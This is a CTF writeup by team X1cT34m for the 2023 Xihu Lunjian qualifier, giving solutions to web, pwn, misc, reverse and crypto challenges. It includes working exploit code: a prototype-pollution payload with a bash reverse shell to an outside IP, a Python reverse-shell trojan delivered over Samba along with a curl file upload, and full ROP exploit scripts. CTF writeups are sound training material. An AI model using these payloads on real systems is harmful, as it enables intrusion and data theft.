2023西湖论剑初赛 Writeup by X1cT34m

Web

real_ez_node

/routes/index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];

                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }

                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

Dockerfile 中的环境是 node:8.1.2, 该版本存在 CRLF 注入

参考文章: https://www.anquanke.com/post/id/240014#h2-11

利用 /curl 路由可以构造 http post 数据包

然后得知 /copy 路由中使用了 safe-obj, 而 safe-obj 存在原型链污染, 即 CVE-2021-25928

参考文章: https://xz.aliyun.com/t/12053#toc-18

最后利用原型链污染配合 ejs 模板引擎造成 rce

参考文章: https://www.anquanke.com/post/id/236354#h2-2

构造 payload

from urllib.parse import quote

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Content-Type: application/json
Content-Length: 218

{"constructor.prototype.client":true,"constructor.prototype.escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/1.117.70.230/65444 0>&1\\"');"}

GET /'''.replace('\n', '\r\n')

enc_payload = u''

for i in payload:
    enc_payload += chr(0x0100 + ord(i))

print(quote(enc_payload))

__proto__ 被过滤, 可以用 constructor.prototype 绕过

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

反弹 shell 后执行 cat /flag 即可 (以下是复现环境的截图)

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

扭转乾坤

直接上传提示 Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

构造错误的 http 包格式就可以绕过

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

Node Magical Login

controller.js

const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}

module.exports = {
    LoginController,
    CheckInternalController,
    Flag1Controller,
    CheckController
}

构造 cookie user=admin 拿到前半部分 flag

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

因为 CheckController 在检查 checkcode 的时候没有对 catch 到的异常进行处理, 所以可以构造一个长度为 16 的数组使得调用 checkcode.toLowerCase() 时报错, 然后进入 catch (__) {}, 最后顺下去执行得到后半部分 flag

{"checkcode":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]}
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

Pwn

babycalc

可数组溢出修改变量i,对之后某个栈地址进行单字节的任意写一次,同时存在一个off by null漏洞,可将rbp的末字节覆成\x00。

通过off by null,对rbp末字节覆写\x00(上移),同时控制变量i,修改返回地址最后一个字节到leave; ret的地址,即可做到栈迁移。

在合适位置布置rop,栈迁移爆破到此处,即可劫持执行流。在rop中,先泄露libc地址,再利用ret2csu控制read的参数,劫持got表为system,读入/bin/sh即可getshell。

通过z3求解约束:

from z3 import *

v3 = Int('v3')
v4 = Int('v4')
v5 = Int('v5')
v6 = Int('v6')
v7 = Int('v7')
v8 = Int('v8')
v9 = Int('v9')
v10 = Int('v10')
v11 = Int('v11')
v12 = Int('v12')
v13 = Int('v13')
v14 = Int('v14')
v15 = Int('v15')
v16 = Int('v16')
v17 = Int('v17')
v18 = Int('v18')

s = Solver()

s.add(v5 * v4 * v3 - v6 == 36182)
s.add(v3 == 19)
s.add(v5 * 19 * v4 + v6 == 36322)
s.add((v13 + v3 - v8) * v16 == 32835)
s.add((v4 * v3 - v5) * v6 == 44170)
s.add((v5 + v4 * v3) * v6 == 51590)
s.add(v9 * v8 * v7 - v10 == 61549)
s.add(v10 * v15 + v4 + v18 == 19037)
s.add(v9 * v8 * v7 + v10 == 61871)
s.add((v8 * v7 - v9) * v10 == 581693)
s.add(v11 == 50)
s.add((v9 + v8 * v7) * v10 == 587167)
s.add(v13 * v12 * v11 - v14 == 1388499)
s.add(v13 * v12 * v11 + v14 == 1388701)
s.add((v12 * v11 - v13) * v14 == 640138)
s.add((v11 * v5 - v16) * v12 == 321081)
s.add((v13 + v12 * v11) * v14 == 682962)
s.add(v17 * v16 * v15 - v18 == 563565)
s.add(v17 * v16 * v15 + v18 == 563571)
s.add(v14 == 101)
s.add((v16 * v15 - v17) * v18 == 70374)
s.add((v17 + v16 * v15) * v18 == 70518)

print(s.check())

print(s.model())

'''
[v12 = 131,
 v14 = 101,
 v6 = 70,
 v10 = 161,
 v16 = 199,
 v18 = 3,
 v5 = 53,
 v13 = 212,
 v7 = 55,
 v9 = 17,
 v3 = 19,
 v17 = 24,
 v4 = 36,
 v11 = 50,
 v15 = 118,
 v8 = 66]
 '''

exp:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')

#io = process("./pwn")
io = remote("tcp.cloud.dasctf.com", 29073)
elf = ELF("./pwn")

pop_rdi_ret = 0x400ca3

def com_gadget(addr1 , addr2 , jmp2 , arg1 , arg2 , arg3):
    payload = p64(addr1) + p64(0) + p64(1) + p64(jmp2) + p64(arg3) + p64(arg2) + p64(arg1) + p64(addr2) + p64(0x6023A0)*7
    return payload

gadget1 = 0x400C9A
gadget2 = 0x400C80

py = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + com_gadget(gadget1, gadget2, elf.got['read'], 0, elf.got['strtol'], 0x8) + p64(0x4007B4)

payload = str(0x18).encode().ljust(0x28, b'\x00')
payload += py
payload = payload.ljust(0xd0, b'\x00')
payload += p8(19) + p8(36) + p8(53) + p8(70) + p8(55) + p8(66) + p8(17) + p8(161) + p8(50) + p8(131) + p8(212) + p8(101) + p8(118) + p8(199) + p8(24) + p8(3)
payload = payload.ljust(0x100-4, b'\x00')
payload += p32(0x38)
io.sendafter("number-", payload)

libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x6f6a0
success("libc_base:\t" + hex(libc_base))
system_addr = libc_base + 0x453a0
sh_addr = libc_base + 0x18ce57

sleep(0.5)
io.send(p64(system_addr))

sleep(0.5)
io.send(b'/bin/sh')

io.interactive()

赛后复现环境截图:
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

Message Board

利用格式化字符串漏洞,泄露libc地址。

通过栈溢出0x10字节,控制rbp寄存器和ret返回地址,返回到read的上方,此处rsi是由rbp控制的。故控制了rbp之后,跳转到此处,即可实现任意地址(相当于伪造的栈)写0xC0长度的数据。

通过上一步写入orw的rop之后,在伪造的栈上仍会存在一个栈溢出,将rbp设置为rop地址-8,并将返回地址设置为leave; ret的gadget地址,即可通过栈迁移执行orw的rop链。

from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")

io = remote("tcp.cloud.dasctf.com", 23267)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF('./libc.so.6')

io.sendlineafter("name:\n", b'%31$p')
io.recvuntil("Hello, ")
libc.address = int(io.recv(14)[2:], 16) - 243 - libc.sym['__libc_start_main']
success("libc_base:\t" + hex(libc.address))

bss_addr = elf.bss() + 0x100
payload = b'\x00'*0xB0 + p64(bss_addr+0xB0) + p64(0x40136C)
io.sendafter("DASCTF:\n", payload)

leave_addr = 0x4012e1
pop_rdi_ret = libc.address + 0x23b6a
pop_rsi_ret = libc.address + 0x2601f
pop_rdx_ret = libc.address + 0x142c92
flag_addr = bss_addr + 0x78
payload = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(libc.sym['open'])
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(bss_addr + 0xD0) + p64(pop_rdx_ret) + p64(0x50) + p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(bss_addr + 0xD0) + p64(libc.sym['puts']) + b'./flag\x00'
payload = payload.ljust(0xB0, b'\x00') + p64(bss_addr - 8) + p64(leave_addr)
io.sendafter("DASCTF:\n", payload)
io.interactive()

赛后复现环境截图:
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

Misc

签到题喵

winhex打开搜索JPG图片尾FFD9,发现图片尾部一段话,照做就行

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

take_the_zip_easy

一眼丁真,里面的zip名字叫dasflow.zip,猜测里面的也是dasflow.pcapng,直接用bkcrack进行已知明文攻击,1.txt的内容为dasflow.pcapng

./bkcrack.exe -C zipeasy.zip -c dasflow.zip -p 1.txt -o 30 -x 0 504B0304 >1.log

成功得到密钥

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

使用密钥即可得到dasflow.zip

./bkcrack.exe -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip

流量打开一看,根据特征判断是哥斯拉流量,而且导出http可以发现一个被加密的flag压缩包,找到解密所需的东西后就可以用脚本解密

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
<?php
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++){
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';

echo gzdecode(encode(base64_decode('xxx'),$key));

单独看http流,猜测上传flag.zip的前一步是生成zip文件,所以直接解密上传的前一段流量里的加密数据,得到密码

加密后的生成zip命令:J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3

解密后:cmdLinePsh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P airDAS1231qaSW@" 2>&1methodName execCommand

得到密码airDAS1231qaSW@,解开压缩包拿到flag

DASCTF{7892a81d23580e4f3073494db431afc5}

mp3

一眼丁真,尾部一个png,提取一下,是一张只有黑白的图片,zsteg跑一手

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

好家伙,还有个压缩包,直接提出来

zsteg -E 'b1,r,lsb,xy' 00000646.png > 1.zip

是个损坏的加密压缩包,winrar直接可以修好,于是看看MP3

猜测是MP3stego,试了试发现是空密码

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

得到压缩包密码:8750d5109208213f

根据文件名,猜一手rot47,得到的东西有点像js,直接在控制台里跑一下

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

机你太美

拿着新附件直接打开夜神模拟器导入,机子起起来之后发现有PIN密码,于是在网上找了篇文章http://www.360doc.com/content/12/0121/07/37846289_1012985425.shtml,照着做即可消除PIN密码直接进系统

别的没找到很重要的,只有桌面上叫Skred的软件里有不少对话,在里面发送的十几个压缩包以及两张图都可以用取证大师在vmdk里找到

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

重点在这两张图上,jpg一眼丁真,exif里提示了一个XOR DASCTF

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

这个暂时没有用,最后才有用,然后是png,细心一点的话可以在alph通道里发现一条线

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

简单提取下像素

from PIL import Image
width = 1532
height = 961
img=Image.open("41.png")
for i in range(width):
    for j in range(height):
        pi=img.getpixel((i,j))
        if(pi[3] == 255):
            print(1,end='')
        else:
            print(0,end='')

再将得到的输出手动去头去尾,即可得到压缩包密码e01544a9333ef62a3aa27357eb52ea8a

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

上面的压缩包随便提取了一个,可以成功解密,发现里面是乱码,于是xor DASCTF2022即可得到flag

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
DASCTF{fe089fecf73daa9dcba9bc385df54605}

TryToExec

1.生成exe马

import socket,os,threading,subprocess as sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('xxx.xxx.xxx.xx',3333));threading.Thread(target=exec,args=("while(True):o=os.read(p.stdout.fileno(),1024);s.send(o)",globals()),daemon=True).start();threading.Thread(target=exec,args=("while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i)",globals())).start()

pyinstaller --onefile test.py 编译成exe

2.vps安装samba共享马

sudo yum install samba samba-client
sudo systemctl start smb.service
firewall-cmd --permanent --zone=public --add-service=samba
sudo nano /etc/samba/smb.conf
[global] 下面添加这个
acl allow execute always = True

文件尾部加这个
[public]
path = /tmp/a
available = yes
read only = no
browsable = yes
public = yes
writable = yes
guest ok = yes
sudo systemctl restart smb.service

3.第一步编译的马 放到/tmp/a/下面 chmod 777

4.反弹shell

GET http://162.14.110.33:15000/api?action=%5C%5Cxxx.xxx.xxx.xx%5Cpublic%5C99.exe 

5.curl bashupload.com -T ..\Th3Th1nsUW4nt.docx
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室
DASCTF{d551c29f6c77a97ecf30fe7a6afda6ce}

Reverse

Dual personality

大致分析一波程序,可以发现这是x32的程序,但会用天堂之门执行部分x64的代码,既利用call far、jmp far等,其中第一段x64的代码会根据PEB64中调试标志位的情况修改第一个算法中所用的key
由于程序给的代码非常干净,这里把代码复制出来稍做分析,处理掉PEB64中对调试标志位的检测,即可拿到第一个算法所用的数据0x3CA7259D
之后可以看见左移,xor等操作,然后会与程序内置值比较,这里利用最终结果,根据之前所逆向的x64的代码还原回去即可得到flag

rol  rbx,0x0C                   
mov  qword ptr ds:[rax],rbx     
mov  rbx,qword ptr ds:[rax+0x08]
rol  rbx,0x22                   
mov  qword ptr ds:[rax+0x08],rbx
mov  rbx,qword ptr ds:[rax+0x10]
rol  rbx,0x38                   
mov  qword ptr ds:[rax+0x10],rbx
mov  rbx,qword ptr ds:[rax+0x18]
rol  rbx,0x0E                   
mov  qword ptr ds:[rax+0x18],rbx

flag:6cc1e44811647d38a15017e389b3f704

Berkeley

libbpf 编写的程序。main() -> Berkeley_bpfopen_and_load() -> Berkeley_bpf__open() -> Berkeley_bpfopen_opts() -> Berkeley_bpfcreate_skeleton() -> Berkeley_bpfelf_bytes() 里可以找到加载进内核的 ebfp程序的二进制数据。使用idapython dump出来

搭配这个 ghidra的插件可以反编译ebfp程序。

主要就两个函数,应该是对check_flag函数的重写。第二个函数是做check。主要就是把我们的输入和与key数组做一些计算结果与cipher数组比较。可以用z3解决。


undefined8 LBB0_1(void)

{
  int iVar1;
  undefined4 extraout_var;
  void *pvVar2;
  ulonglong i;
  ulonglong uVar3;
  ulong local_4;

  local_4 = bpf_get_current_pid_tgid();
  iVar1 = bpf_map_update_elem(execs._0_8_,&local_4,(void *)0x0,1);
  if ((CONCAT44(extraout_var,iVar1) == 0) &&
     (pvVar2 = bpf_map_lookup_elem(execs._0_8_,&local_4), pvVar2 != (void *)0x0)) {
    bpf_undef();
    i = 0;
    do {
      uVar3 = *(ulonglong *)((longlong)pvVar2 + (i >> 3 & 0x1fffffff) + 0x20);
      *(char *)((longlong)pvVar2 + i + 0x120) =
           (char)*(undefined8 *)
                  (key[0]._0_8_ +
                  ((uVar3 ^ uVar3 + *(longlong *)((i & 7) * 4) ^ 0xffffffffffffffff) & 0xff));
      i = i + 1;
    } while (i != 0x100);
  }
  return 0;
}

undefined8 LBB0_2(void)

{
  void *pvVar1;
  longlong i;
  char *fmt;
  ulonglong *puVar2;
  ulong local_4;

  local_4 = bpf_get_current_pid_tgid();
  pvVar1 = bpf_map_lookup_elem(execs._0_8_,&local_4);
  if (pvVar1 != (void *)0x0) {
    i = 0;
    do {
      puVar2 = (ulonglong *)((longlong)pvVar1 + i + 0x120);
      *(char *)puVar2 =
           (char)*(undefined8 *)
                  (key[0]._0_8_ + ((*(ulonglong *)(key[0]._0_8_ + i) ^ *puVar2) & 0xff));
      i = i + 1;
    } while (i != 0x100);
    i = 0;
    do {
      fmt = (char *)0x220;
      if (*(longlong *)((longlong)pvVar1 + i + 0x120) != *(longlong *)(cipher._0_8_ + i)) break;
      fmt = (char *)0x22b;
      i = i + 1;
    } while (i != 0x100);
    bpf_trace_printk(fmt,0xb);
    bpf_map_delete_elem(execs._0_8_,&local_4);
  }
  return 0;
}

代码如下

key = [193,209,2,97,214,247,19,162,155,32,208,74,143,127,238,185,0,99,52,176,51,183,138,139,148,96,46,142,33,255,144,130,213,135,150,120,34,182,72,108,69,199,90,22,128,253,228,140,191,1,31,75,121,36,160,180,35,77,59,197,93,111,13,201,212,202,85,224,57,173,43,205,44,236,194,107,48,230,12,168,154,47,246,232,187,50,87,251,11,157,242,63,181,249,89,229,16,207,81,65,233,80,223,38,116,88,203,100,84,115,171,244,178,159,24,248,78,254,8,29,79,73,211,172,56,18,119,17,105,7,28,153,179,231,61,5,216,252,112,70,147,9,101,137,177,198,82,250,210,14,169,23,227,145,161,104,91,42,240,195,66,204,41,222,220,133,152,49,92,188,45,239,94,126,175,103,98,167,86,136,164,67,64,225,55,158,54,118,113,132,189,6,141,71,125,83,215,200,206,21,146,149,76,40,109,117,235,124,243,190,170,184,237,3,60,39,62,25,221,166,102,37,30,196,110,192,226,219,58,217,129,165,27,245,4,174,186,234,151,131,53,68,163,122,26,241,134,218,123,20,114,156,106,15,95,10]

cipher = [243,39,71,27,143,9,251,23,112,72,176,83,50,219,192,184,99,45,64,75,245,22,240,53,231,223,234,162,156,65,179,37,215,12,51,156,123,90,205,19,187,238,62,14,242,207,53,218,175,162,102,125,56,55,103,30,31,107,123,48,11,122,2,169,200,97,39,65,219,1,34,49,111,182,212,27,4,211,148,184,70,199,36,207,189,175,11,220,46,187,178,113,244,153,87,54,209,149,82,146,186,109,243,48,80,89,155,234,47,131,220,240,222,87,161,172,210,81,162,29,89,168,0,182,226,101,65,12,79,235,240,46,88,42,31,244,149,114,136,124,169,14,203,60,66,185,243,73,155,82,152,18,163,23,81,192,89,64,10,188,232,76,4,251,19,10,23,63,230,54,151,223,179,226,66,127,248,204,14,209,119,196,168,70,72,227,241,10,239,148,86,84,91,202,189,221,127,86,71,194,153,250,137,204,225,185,58,120,226,55,88,1,27,195,75,230,140,243,229,182,113,158,99,175,17,206,135,246,110,222,200,177,208,122,21,108,16,8,153,123,34,85,16,122,130,115,252,98,203,52,167,183,98,250,107,159]

tmp = [0] * 256
arr = [0] * 256

for i in range(0, 256):
    n = key.index(cipher[i]) ^ key[i]
    arr[i] = key.index(n)
print(arr[0:8])

drr = [0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1]

from z3 import *

s = Solver()

temp = [BitVec('%d' % i, 8) for i in range(32)]

for i in range(32):
    s.add(temp[i] <127)
    s.add(temp[i] >=32)

cur = [0] * 256

for i in range(0, 256):
    var3 = temp[i >> 3]
    cur[i] = (var3 ^ var3 + drr[i & 7] ^ 0xffffffff) & 0xff

for i in range(256):
    s.add(cur[i] == arr[i])

if s.check() == sat:
    res = s.model()
    flag = []
    for i in temp:
        flag.append(res[i])
    for c in flag:
        print(chr(c.as_long()), end = "")
else:
    print("NO")

截图
2023西湖论剑初赛 Writeup by X1cT34m-小绿草信息安全实验室

BabyRE

对程序稍做分析,只能看见判断输入字符是否在0~9之间,未发现别的信息,根据字符串发现程序有三处利用atexit执行了一些判断,再次对这几处做一次分析可以发现

  1. 输入内容每3个一组,转换为8进制的8位数字后取部分与0x60长度的内置值比较
  2. 输入内容转换为8进制的8位数字后取前0x70长度,进行魔改后的sha1运算,与内置值比较
  3. 输入内容末尾6字节做RC4加密密钥,加密0x70长度内容,与内置值比较

这里我们根据1中内容可以反推出输入内容中间36字节,爆破魔改后的sha1运算得到输入内容开头6字节,之后爆破RC4加密密钥即可得到完整flag

flag:561516915572239428449843076691286116796614807391

Crypto

MyErrorLearn

一个二元的coppersmith
构造等式$f = (r1-r2)(d1+x)(d2+y)-(d2+y-d1-x)$,$x,y$分别表示两次数据中的$Prime(246)$
找个多元copper的板子套上

#sagemath
def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()

    R = f.base_ring()
    N = R.cardinality()

    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)

    G = Sequence([], f.parent())
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)

    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)

    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)

    B = B.dense_matrix().LLL()

    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)

    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

r1 = 10416632501801974694227453996514471230510822844141537215435310761282236706010374287476167228551720127564766961486909719901188052844926828718157982353509009
r2 = 10945694515092921935765033073472221225431374672659751536595840465276073402439042169265480667452817278318006398182876136457632746343409326182238053908029751
d1 = 56888336937500044415702919773416114217028770468080853282740190270108239476041614796007252946794331087237297216052651102131387831331715788882702697436356478481466698200484763202280365937244685692432494727290180152495648130890129145398986742781650456719538128804602194272879452329225793378627305015814235006449
d2 = 39564785910816285169732671501865632983688744846819855674275371020624933955200211958646008885482995237194222616193536005648361431696101118452470392982186472493910970565702639588941011814416028774758786985291250896861107704070339750852212760711413327701632586870290470689206960878069267347698863426921542358105
p = 117772635282729418285879412631216935490806524671311266185546790504745904196135114727754422648999093257461858612228556910365982066740540367638744157494110844029055193511998422999596748975390734628418184477450856691002269702533884505178634105672240426552752649855510423531462598366536500750787631689349504137087

import itertools
R.<x,y> = PolynomialRing(Zmod(p))
f = (r1-r2)*(d1+x)*(d2+y)-(d2+y-d1-x)
ans = small_roots(f, bounds=(2^246,2^246), m=2)
x, y = ans[0]
secret = 1/(d1+x)-r1
print(secret)